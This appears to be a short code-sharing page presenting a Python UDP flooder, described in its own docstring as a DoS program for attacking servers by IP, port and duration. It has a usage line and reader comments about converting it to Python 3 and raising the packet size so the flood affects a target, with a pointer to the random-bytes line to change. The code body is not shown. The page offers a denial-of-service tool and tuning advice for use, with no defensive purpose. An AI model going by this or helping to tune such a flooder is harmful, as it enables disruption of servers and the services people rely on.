Python UDP Flooder

"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)

Usage : ./flood_udp <ip> <port> <second>

How did you run this script ? It should work with Python 2

The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what 2to3'd means...

how do you increase the size of the requests sent ? The current size isn't even affecting a local server

you can custom the data sent by modifying bytes = random._urandom(1024) L.21.

How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?
